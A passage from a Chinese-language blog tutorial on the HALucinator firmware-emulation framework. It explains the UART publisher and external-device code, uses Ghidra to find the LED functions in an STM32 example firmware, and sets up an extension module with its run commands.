class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@classmethod</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">read</span>(<span class="params">cls, uart_id, count=<span class="number">1</span>, block=<span class="literal">False</span></span>):</span></span><br><span class="line"> <span class="string">'''</span></span><br><span class="line"><span class="string"> Gets data previously received from the sub/pub server</span></span><br><span class="line"><span class="string"> Args:</span></span><br><span class="line"><span class="string"> uart_id: A unique id for the uart</span></span><br><span class="line"><span class="string"> count: Max number of chars to read</span></span><br><span class="line"><span class="string"> block(bool): Block if data is not available</span></span><br><span class="line"><span class="string"> '''</span></span><br><span class="line"> log.debug(<span class="string">"In: UARTPublisher.read id:%s count:%i, block:%s"</span> %</span><br><span class="line"> (<span class="built_in">hex</span>(uart_id), count, <span class="built_in">str</span>(block)))</span><br><span class="line"> <span class="keyword">while</span> block <span class="keyword">and</span> (<span class="built_in">len</span>(cls.rx_buffers[uart_id]) < count):</span><br><span class="line"> <span class="keyword">pass</span></span><br><span class="line"> log.debug(<span class="string">"Done Blocking: UARTPublisher.read"</span>)</span><br><span class="line"> buffer = cls.rx_buffers[uart_id]</span><br><span class="line"> chars_available = <span class="built_in">len</span>(buffer)</span><br><span class="line"> <span class="keyword">if</span> chars_available >= count:</span><br><span class="line"> chars = [buffer.popleft() <span class="keyword">for</span> _ <span class="keyword">in</span> <span class="built_in">range</span>(count)]</span><br><span class="line"> chars = <span class="string">''</span>.join(chars).encode(<span class="string">'utf-8'</span>)</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> chars = [buffer.popleft() <span class="keyword">for</span> _ <span class="keyword">in</span> <span class="built_in">range</span>(chars_available)]</span><br><span class="line"> chars = <span class="string">''</span>.join(chars).encode(<span class="string">'utf-8'</span>)</span><br><span class="line"></span><br><span class="line"> log.info(<span class="string">"Reading %s"</span>% chars)</span><br><span class="line"> <span class="keyword">return</span> chars</span><br></pre></td></tr></table></figure><p>它接受:</p><ul><li><code>UART_id</code>:UART的id</li><li><code>count</code>:要读取的字节数。</li><li><code>block</code>:一个布尔值,用于设置在数据不可用时此方法是否应阻止</li></ul><p>如果<code>block</code>为<code>True</code>,则此方法将在循环中等待,直到<code>rx_buffers</code>中为给定的<code>uart_id</code>提供(读取)的数据足够<code>count</code>字节。当数据可用(即字节数够数了)时,它会读取所有可用数据,直到count个字节,然后返回这些数据。如果<code>block</code>为<code>False</code>,则返回当前可用字符(包括零),最多count个字符。</p><p>现在您应该了解了Halucinator如何执行固件、拦截函数、执行bp处理程序来替换那些函数,以及如何使用外设服务器发送和接收数据。</p><p>现在,我们将了解外部设备如何与外围服务器通信。</p><h3 id="外部设备"><a href="#外部设备" class="headerlink" title="外部设备"></a>外部设备</h3><p>为此,我们将查看<code>hal_dev_uart</code>命令的工作原理。这实际上是一个入口点设置,当我们安装了”调用<code>src/halucinator/external_devices/uart.py</code>的<code>main</code>函数”的<code>halucinator</code>时。让我们来看看。</p><p><code>main</code>位于文件的末尾。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">main</span>():</span></span><br><span class="line"> <span class="keyword">from</span> argparse <span class="keyword">import</span> ArgumentParser</span><br><span class="line"> p = ArgumentParser()</span><br><span class="line"> p.add_argument(<span class="string">'-r'</span>, <span class="string">'--rx_port'</span>, default=<span class="number">5556</span>,</span><br><span class="line"> <span class="built_in">help</span>=<span class="string">'Port number to receive zmq messages for IO on'</span>)</span><br><span class="line"> p.add_argument(<span class="string">'-t'</span>, <span class="string">'--tx_port'</span>, default=<span class="number">5555</span>,</span><br><span class="line"> <span class="built_in">help</span>=<span class="string">'Port number to send IO messages via zmq'</span>)</span><br><span class="line"> p.add_argument(<span class="string">'-i'</span>, <span class="string">'--id'</span>, default=<span class="number">0x20000ab0</span>, <span class="built_in">type</span>=<span class="built_in">int</span>,</span><br><span class="line"> <span class="built_in">help</span>=<span class="string">"Id to use when sending data"</span>)</span><br><span class="line"> p.add_argument(<span class="string">'-n'</span>, <span class="string">'--newline'</span>, default=<span class="literal">False</span>, action=<span class="string">'store_true'</span>,</span><br><span class="line"> <span class="built_in">help</span>=<span class="string">"Append Newline"</span>)</span><br><span class="line"> args = p.parse_args()</span><br><span class="line"></span><br><span class="line"> <span class="keyword">import</span> halucinator.hal_log <span class="keyword">as</span> hal_log</span><br><span class="line"> hal_log.setLogConfig()</span><br></pre></td></tr></table></figure><p>它使用argparse来获取一些参数,除非你运行多个halucinator实例,否则这些参数的默认值应该起作用。</p><ul><li><code>-r</code>、<code>-t</code>选择用于与halucinator外设服务器接收和传输数据的端口。</li><li><code>-i</code>指定要与之交互的uart ID。它必须与UART外设handler发送的msg中的<code>id</code>键匹配,以便在halucinator内部接收数据。</li><li><code>-n</code>会将一个”new line”字符附加到中输入的数据。</li></ul><p>向下看<code>main</code>函数后面的部分:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">io_server = IOServer(args.rx_port, args.tx_port)</span><br><span class="line">uart = UARTPrintServer(io_server)</span><br><span class="line"></span><br><span class="line">io_server.start()</span><br></pre></td></tr></table></figure><p>接下来,我们实例化<code>IOServer</code>类。这是一个helper类,它处理与halucinator的zero mq通信,并创建需要与之异步通信的线程。<strong>我们不会在本教程中介绍它,但请参考其源代码fsrc/halucinator/external_devices/io.server.py以获得更多信息</strong>。</p><p><code>main</code>之后会实例化一个<code>UartPrintServer</code>类,将<code>IOServer</code>作为参数传递,并启动<code>IOServer</code>。</p><p>然后我们进入 <code>while(1)</code>循环 , 从终端读取输入并使用 uart 发送它 。用KeyboardInterrupt(如<code>Ctrl C</code>)或空输入将退出循环 。之后,<code>IOServer</code> 停止 ,程序退出 。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">try</span>:</span><br><span class="line"> <span class="keyword">while</span>(<span class="number">1</span>):</span><br><span class="line"> data = <span class="built_in">input</span>()</span><br><span class="line"> log.debug(<span class="string">"Got %s"</span> % <span class="built_in">str</span>(data))</span><br><span class="line"> <span class="keyword">if</span> args.newline:</span><br><span class="line"> data +=<span class="string">"\n"</span></span><br><span class="line"> <span class="keyword">if</span> data == <span class="string">'\\n'</span>:</span><br><span class="line"> data = <span class="string">'\r\n'</span></span><br><span class="line"> <span class="keyword">elif</span> data == <span class="string">''</span>:</span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"> <span class="comment">#d = {'id':args.id, 'data': data}</span></span><br><span class="line"> uart.send_data(args.<span class="built_in">id</span>, data)</span><br><span class="line"><span class="keyword">except</span> KeyboardInterrupt:</span><br><span class="line"> <span class="keyword">pass</span></span><br><span class="line">log.info(<span class="string">"Shutting Down"</span>)</span><br><span class="line">io_server.shutdown()</span><br></pre></td></tr></table></figure><p>让我们现在来看 <code>UARTPrintServer</code> 类:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">UARTPrintServer</span>(<span class="params"><span class="built_in">object</span></span>):</span></span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">__init__</span>(<span class="params">self, ioserver</span>):</span></span><br><span class="line"> self.ioserver = ioserver</span><br><span class="line"> ioserver.register_topic(</span><br><span class="line"> <span class="string">'Peripheral.UARTPublisher.write'</span>, self.write_handler)</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">write_handler</span>(<span class="params">self, ioserver, msg</span>):</span></span><br><span class="line"> txt = msg[<span class="string">'chars'</span>].decode(<span class="string">'latin-1'</span>)</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"%s"</span> % txt, end=<span class="string">' '</span>, flush=<span class="literal">True</span>)</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">send_data</span>(<span class="params">self, <span class="built_in">id</span>, chars</span>):</span></span><br><span class="line"> d = {<span class="string">'id'</span>: <span class="built_in">id</span>, <span class="string">'chars'</span>: chars}</span><br><span class="line"> log.debug(<span class="string">"Sending Message %s"</span> % (<span class="built_in">str</span>(d)))</span><br><span class="line"> self.ioserver.send_msg(<span class="string">'Peripheral.UARTPublisher.rx_data'</span>, d)</span><br></pre></td></tr></table></figure><p>它具有三个方法:<code>__init__</code>,其向<code>IOServer</code>订阅<code>Peripheral.UartPublish.write</code>主题并注册其<code>write_handler</code>以处理接收到的消息。<code>write_handler</code>简单地打印出数据。最后,<code>send_data</code>采用id和字符进行发送,编写uart模型所需的字典,并使用IOServer以<code>Peripheral.UARTPublisher.rx_data</code>作为主题发送消息。</p><h3 id="结论"><a href="#结论" class="headerlink" title="结论"></a>结论</h3><p>现在,您应该了解了当halucinator调用HAL函数发送和接收数据时所执行的代码,以及数据如何进出halucinator。在下一个教程中,我们将实现新的bp处理程序、外设模型和外部设备。4_extending_deep_dive.md</p><h2 id="扩展Halucinator"><a href="#扩展Halucinator" class="headerlink" title="扩展Halucinator"></a>扩展Halucinator</h2><p>除了在UART上打印消息之外,示例固件还打开LED以指示故障。尚未实现LED的处理程序。在本教程中,我们将实现它们,并将现有的<code>HAL_UART_Receive_IT</code>handler替换为不同的handler,以指示其失败。第一步是确定捕捉LED状态所需的函数调用及其参数。为此,我们将使用Ghidra查看固件的二进制文件。然后,我们将实现断点处理程序以捕获对LED的写入。测试完成后,我们将添加一个外设模型和外部设备,以便在外设服务器上发送和接收LED状态和UART数据。</p><h3 id="找到要拦截的函数"><a href="#找到要拦截的函数" class="headerlink" title="找到要拦截的函数"></a>找到要拦截的函数</h3><p>我们需要做的第一件事是确定要截取的函数及其参数值。我们可以使用源代码,但目前我们将假装它不可用,并使用Ghidra来查找此信息。Ghidra是由NSA创建的软件逆向工程工具,并作为开源软件发布。在本教程中,我们将介绍它的一些用法,但只是简单介绍它的一些功能。</p><p>注:即使我们使用二进制而不是源代码,我们仍然是在”作弊“,(而且可能比一些实战的情况简化很多),因为我们<strong>在固件中有符号和数据类型。如果我们正在分析另一个固件,我们可能不会有这个信息</strong>,就需要LibMatch和/或大量的逆向工程(intensive RE)。但是,即使在我有源代码的情况下,在HALucinator中实现东西时,我也经常使用Ghidra来查看固件。<strong>构建系统和编译器可以对源代码进行一些“神奇”的转换,这使得很难理解固件中实际最终的内容</strong>。当<strong>halucinator运行固件时,固件中的内容才是最重要的</strong>。因此,在Ghidra中查看二进制文件/固件获得一定程度的舒适感将值得您花时间。</p><hr><blockquote><p>这里他们是用了ubuntu平台下的ghidra,我并没有这样做,直接在Windows平台下弄了</p><p>因此下面这段参考我没有弄,在Windows上结果应该差不多</p></blockquote><p>现在让我们在一个新的终端启动Ghidra。</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">~/ghidra_9.1.2/ghidraRun</span><br></pre></td></tr></table></figure><p>创建新项目</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">File -> New Project</span><br><span class="line">Select Non-Shared Project</span><br><span class="line">click Next</span><br></pre></td></tr></table></figure><p>将项目目录和名称设置为halucinator_uart_example,现在,将elf文件与固件一起导入。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">File->Import File</span><br><span class="line">Browse to /home/ubuntu/halucinator/test/STM32/example and select Uart_Hyperterminal_IT_00.elf</span><br><span class="line">Click Select file to import</span><br></pre></td></tr></table></figure><p>它将从ELF中的元数据检测格式、语言和其他设置。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Click OK</span><br><span class="line">and</span><br><span class="line">Click OK again</span><br></pre></td></tr></table></figure><p>现在,在CodeBrowser中双击导入的文件,将其打开。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Click yes to the Analyze prompt</span><br><span class="line">Leave the defaults checked and click Analyze</span><br></pre></td></tr></table></figure><hr><p>import的结果:</p><p><img src="/2022/11/23/Halucinator%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B/uTools_1669183898675.png" class="lazyload placeholder" data-srcset="/2022/11/23/Halucinator%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B/uTools_1669183898675.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1669183898675"></p><p>Ghidra现在将使用ELF文件中的元数据信息和它自己的分析来帮助您理解二进制文件。当它完成时,点击反汇编(中间窗口)并按<code>G</code>(for goto),然后键入<code>main</code>,然后回车。</p><p><img src="/2022/11/23/Halucinator%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B/uTools_1669185324681.png" class="lazyload placeholder" data-srcset="/2022/11/23/Halucinator%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B/uTools_1669185324681.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1669185324681"></p><p>看反编译器,这看起来应该很像C代码。</p><p><img src="/2022/11/23/Halucinator%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B/uTools_1669185348549.png" class="lazyload placeholder" data-srcset="/2022/11/23/Halucinator%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B/uTools_1669185348549.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1669185348549"></p><p>在其中,您将注意到四个感兴趣的函数调用。三个用于<code>BSP_LED_Init</code>,一个用于<code>BSP_LED_On</code>。我们将实现<code>BSP_LED_Init</code>和<code>BSP_LED_On</code>函数的处理程序,在生产固件中,这一层很可能由编译器内联,我们将不得不更深入到<code>HAL_GPIO_Init</code>和<code>HAL_GPIO_WritePin</code>函数。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">void</span>)</span></span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> HAL_StatusTypeDef HVar1;</span><br><span class="line"> HAL_UART_StateTypeDef HVar2;</span><br><span class="line"> </span><br><span class="line"> HAL_Init();</span><br><span class="line"> SystemClock_Config();</span><br><span class="line"> <span class="comment">// 这里可以看到BSP_LED_Init的调用</span></span><br><span class="line"> BSP_LED_Init(LED1);</span><br><span class="line"> BSP_LED_Init(LED2);</span><br><span class="line"> BSP_LED_Init(LED3);</span><br><span class="line"> UartHandle.Instance = (USART_TypeDef *)<span class="number">0x40011000</span>;</span><br><span class="line"> UartHandle.Init.BaudRate = <span class="number">0x2580</span>;</span><br><span class="line"> UartHandle.Init.WordLength = <span class="number">0</span>;</span><br><span class="line"> UartHandle.Init.StopBits = <span class="number">0</span>;</span><br><span class="line"> UartHandle.Init.Parity = <span class="number">0x600</span>;</span><br><span class="line"> UartHandle.Init.HwFlowCtl = <span class="number">0</span>;</span><br><span class="line"> UartHandle.Init.Mode = <span class="number">0xc</span>;</span><br><span class="line"> UartHandle.Init.OverSampling = <span class="number">0</span>;</span><br><span class="line"> HVar1 = HAL_UART_Init(&UartHandle);</span><br><span class="line"> <span class="keyword">if</span> (HVar1 != HAL_OK) {</span><br><span class="line"> Error_Handler();</span><br><span class="line"> }</span><br><span class="line"> HVar1 = HAL_UART_Transmit_IT(&UartHandle,aTxStartMessage,<span class="number">0x61</span>);</span><br><span class="line"> <span class="keyword">if</span> (HVar1 != HAL_OK) {</span><br><span class="line"> Error_Handler();</span><br><span class="line"> }</span><br><span class="line"> HVar1 = HAL_UART_Receive_IT(&UartHandle,aRxBuffer,<span class="number">10</span>);</span><br><span class="line"> <span class="keyword">if</span> (HVar1 != HAL_OK) {</span><br><span class="line"> Error_Handler();</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">do</span> {</span><br><span class="line"> HVar2 = HAL_UART_GetState(&UartHandle);</span><br><span class="line"> } <span class="keyword">while</span> (HVar2 != HAL_UART_STATE_READY);</span><br><span class="line"> HVar1 = HAL_UART_Transmit_IT(&UartHandle,aRxBuffer,<span class="number">10</span>);</span><br><span class="line"> <span class="keyword">if</span> (HVar1 != HAL_OK) {</span><br><span class="line"> Error_Handler();</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">do</span> {</span><br><span class="line"> HVar2 = HAL_UART_GetState(&UartHandle);</span><br><span class="line"> } <span class="keyword">while</span> (HVar2 != HAL_UART_STATE_READY);</span><br><span class="line"> HVar1 = HAL_UART_Transmit_IT(&UartHandle,aTxEndMessage,<span class="number">0x15</span>);</span><br><span class="line"> <span class="keyword">if</span> (HVar1 != HAL_OK) {</span><br><span class="line"> <span class="comment">// 这里可以看到BSP_LED_On的调用</span></span><br><span class="line"> BSP_LED_On(LED3);</span><br><span class="line"> <span class="keyword">do</span> {</span><br><span class="line"> <span class="comment">/* WARNING: Do nothing block with infinite loop */</span></span><br><span class="line"> } <span class="keyword">while</span>( <span class="literal">true</span> );</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">do</span> {</span><br><span class="line"> HVar2 = HAL_UART_GetState(&UartHandle);</span><br><span class="line"> } <span class="keyword">while</span> (HVar2 != HAL_UART_STATE_READY);</span><br><span class="line"> <span class="keyword">do</span> {</span><br><span class="line"> <span class="comment">/* WARNING: Do nothing block with infinite loop */</span></span><br><span class="line"> } <span class="keyword">while</span>( <span class="literal">true</span> );</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>双击<code>BSP_LED_Init</code>函数,转到其代码。</p><p><img src="/2022/11/23/Halucinator%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B/uTools_1669189205913.png" class="lazyload placeholder" data-srcset="/2022/11/23/Halucinator%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B/uTools_1669189205913.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1669189205913"></p><p>要拦截<code>BSP_LED_Init</code>,我们将使用halucinator拦截<code>BSP_LED_Init</code>(0x080022cc)的第一条指令。然后,我们需要知道哪些值映射到哪个LED。幸运的是,文件中的符号使这变得很容易。将鼠标悬停在<code>BSP_LED_Init</code>函数签名中的<code>Led_TypeDef</code>上,工具提示将弹出,显示更多信息。</p><p><img src="/2022/11/23/Halucinator%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B/uTools_1669190614478.png" class="lazyload placeholder" data-srcset="/2022/11/23/Halucinator%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B/uTools_1669190614478.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1669190614478"></p><p>这告诉我们如何将数值映射到板上正确的LED。您可以单击后退箭头(左上角)返回到main,然后双击对<code>BSP_LED_On</code>的调用,并验证它是否采用类型为<code>Led_TypeDef</code>的单个参数。另请查看<code>Error_Handler()</code>,注意它会打开RED_LED并进入无限循环。</p><p>下面是decompiler反汇编后的两个函数:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">BSP_LED_Init</span><span class="params">(Led_TypeDef Led)</span></span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">uint32_t</span> tmpreg;</span><br><span class="line"> GPIO_InitTypeDef gpio_init_structure;</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">if</span> (Led < <span class="number">4</span>) {</span><br><span class="line"> _DAT_40023830 = _DAT_40023830 | <span class="number">0x400</span>;</span><br><span class="line"> gpio_init_structure.Pin = GPIO_PIN[Led];</span><br><span class="line"> gpio_init_structure.Mode = <span class="number">1</span>;</span><br><span class="line"> gpio_init_structure.Pull = <span class="number">1</span>;</span><br><span class="line"> gpio_init_structure.Speed = <span class="number">3</span>;</span><br><span class="line"> HAL_GPIO_Init((GPIO_TypeDef *)<span class="number">0x40022800</span>,&gpio_init_structure);</span><br><span class="line"> HAL_GPIO_WritePin((GPIO_TypeDef *)<span class="number">0x40022800</span>,(<span class="keyword">uint16_t</span>)GPIO_PIN[Led],GPIO_PIN_SET);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">BSP_LED_On</span><span class="params">(Led_TypeDef Led)</span></span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">if</span> (Led < <span class="number">4</span>) {</span><br><span class="line"> HAL_GPIO_WritePin((GPIO_TypeDef *)<span class="number">0x40022800</span>,(<span class="keyword">uint16_t</span>)GPIO_PIN[Led],GPIO_PIN_RESET);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>很好,现在我们知道了需要截取的函数以及它们将接收到的每个LED的值。让我们继续实现将用于拦截这些函数的<code>BPHandler</code>。</p><h3 id="扩展HALucinator"><a href="#扩展HALucinator" class="headerlink" title="扩展HALucinator"></a>扩展HALucinator</h3><p>我们将为以下函数实现handler:</p><ul><li>BSP_LED_Init</li><li>BSP_LED_On</li><li>BSP_LED_Off — 在这个二进制文件中没有出现,但让我们做一个很好的措施</li></ul><p>它们都采用<code>Led_TypeDef</code>类型,该类型具有以下映射。</p><ul><li>LED_GREEN 0x0</li><li>LED_ORANGE 0x1</li><li>LED_RED 0x02</li><li>LED_BLUE 0x03</li></ul><h4 id="Setup"><a href="#Setup" class="headerlink" title="Setup"></a>Setup</h4><p>将halucinator存储库中的tutorial文件夹复制到home目录中的新目录<code>halucinator_tutorial</code>中。这会使halucinator存储库的教程保持干净的状态。运行以下命令:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">cp -r ~/halucinator/tutorial ~/halucinator_tutorial</span><br><span class="line">cd ~/halucinator_tutorial</span><br></pre></td></tr></table></figure><p>我们将把我们的扩展构建为自己的python模块。需要的 setup.py 已经为你创建好了。您只需要使用下面的命令安装它。</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">workon halucinator # If you virtual environment isn't already active</span><br><span class="line">pip install -e .</span><br></pre></td></tr></table></figure><p>注意:</p><ul><li><code>-e</code>选项告诉pip将模块包留在这里,您对python代码所做的任何更改都将反映在您的执行中,而无需重新安装包。</li><li>但是,如果您在setup.py中添加了一个新的入口点,则必须重新运行<code>pip install</code>。</li><li>您不必创建自己的模块,而是<strong>可以直接在相应的src/halucinator/(bp_handlers,external_devices,和peripheral_modules目录)下的halucinator存储库中进行开发</strong>。如果您开发的组件对更广泛的社区有用,那么我们欢迎拉取请求,并且最好在halucinator目录中构建它们。</li></ul><p>现在我们准备开始实施。打开您喜爱的编辑器,运行:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">code ~/halucinator_tutorial</span><br></pre></td></tr></table></figure><p>如果您查看文件夹,我们将按以下顺序实现/修改五个文件:</p><ul><li><code>hal_tutorial/bp_handlers/led_bp_handlers.py</code> LED 断点 handlers</li><li><code>my_config.yaml</code> 加入新拦截的配置文件</li><li><code>hal_tutorial/peripheral_models/led_peripheral.py</code> 我们的新LED外设模型</li><li><code>hal_tutorial/external_devices/led_external_devices.py</code> 新外部模型</li><li><code>logging.cfg</code> halucinator 用来控制日志的文件</li></ul><p>这些文件中的每个文件都有需要完成的步骤,可以通过在文件中搜索STEP来找到这些步骤。</p><h3 id="设置配置文件并运行"><a href="#设置配置文件并运行" class="headerlink" title="设置配置文件并运行"></a>设置配置文件并运行</h3><p>运行教程所需的一切都已为您准备好。让我们从完成截取描述开始,这样我们就可以使用存根(stubs)来运行示例。</p><p>打开<code>my_config. yaml</code>并完成步骤。这包括两个步骤:</p><ol><li><p>在LEDHandler构造函数中添加一个map(映射),这样我们就可以为LED取一个好名字,而不是数字。</p><p>注意:<code>class_args</code>值使我们能够将参数传递给类构造函数。但是,为了确保它得到处理,它需要在每次拦截时都被使用到。</p></li><li><p>添加BSP_LED_On函数的拦截。</p></li></ol><p>现在让我们使用新的配置运行,我们将使用与上次相同的配置文件,并将新的配置文件添加到末尾。这使得它优先于任何先前描述的拦截。</p><p>运行:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">workon halucinator</span><br><span class="line">cd ~/halucinator_tutorial</span><br><span class="line">halucinator -c ~/halucinator/test/STM32/example/Uart_Hyperterminal_IT_O0_memory.yaml \</span><br><span class="line">-c ~/halucinator/test/STM32/example/Uart_Hyperterminal_IT_O0_config.yaml \</span><br><span class="line">-c ~/halucinator/test/STM32/example/Uart_Hyperterminal_IT_O0_addrs.yaml \</span><br><span class="line">-c my_config.yaml</span><br></pre></td></tr></table></figure><p>输出:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">```bash</span><br><span class="line">halucinator.main|INFO| Letting QEMU Run</span><br><span class="line">HAL_LOG|INFO| ReturnZero: HAL_Init</span><br><span class="line">HAL_LOG|INFO| ReturnZero: HAL_RCC_OscConfig</span><br><span class="line">HAL_LOG|INFO| ReturnZero: HAL_PWREx_EnableOverDrive</span><br><span class="line">HAL_LOG|INFO| ReturnZero: HAL_RCC_ClockConfig</span><br><span 